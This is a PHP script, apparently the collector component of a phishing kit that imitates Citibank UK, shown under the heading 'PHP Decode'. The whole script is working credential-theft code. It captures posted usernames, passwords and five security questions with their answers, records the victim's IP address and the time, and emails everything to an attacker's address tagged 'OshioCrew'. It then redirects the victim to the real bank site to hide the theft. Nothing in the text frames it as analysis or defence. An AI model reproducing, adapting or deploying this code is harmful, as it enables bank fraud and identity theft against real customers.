PHP Decode

<?php  
$ip = getenv("REMOTE_ADDR");  
$datamasii=date("D M d, Y g:i a");  
$username=$HTTP_POST_VARS["username"]; 
$password=$HTTP_POST_VARS["password"]; 
$password2=$HTTP_POST_VARS["password2"]; 
$question1=$HTTP_POST_VARS["question1"]; 
$answer1=$HTTP_POST_VARS["answer1"]; 
$question2=$HTTP_POST_VARS["question2"]; 
$answer2=$HTTP_POST_VARS["answer2"]; 
$question3=$HTTP_POST_VARS["question3"]; 
$answer3=$HTTP_POST_VARS["answer3"]; 
$question4=$HTTP_POST_VARS["question4"]; 
$answer4=$HTTP_POST_VARS["answer4"]; 
$question5=$HTTP_POST_VARS["question5"]; 
$answer5=$HTTP_POST_VARS["answer5"]; 
 
 
$mesaj = "------------OshioCrew-------------- 
 
Username : $username 
Password : $password 
Re-type Password : password2 
Question1 : $question1 
Answer1 : $answer1 
Question2 : $question2 
Answer2 : $answer2 
Question3 : $question3 
Answer3 : $answer3 
Question4 : $question4 
Answer4 : $answer4 
Question5 : $question5 
Answer5 : $answer5 
 
 
----------------------------------------------------  
IP : $ip  
DATE : $datamasii  
";  
 
$recipient = "[email protected]";  
$subject = "Citiuk"; 
mail($recipient,$subject,$mesaj);  
header("Location: http://ww.citibank.co.uk");  
?>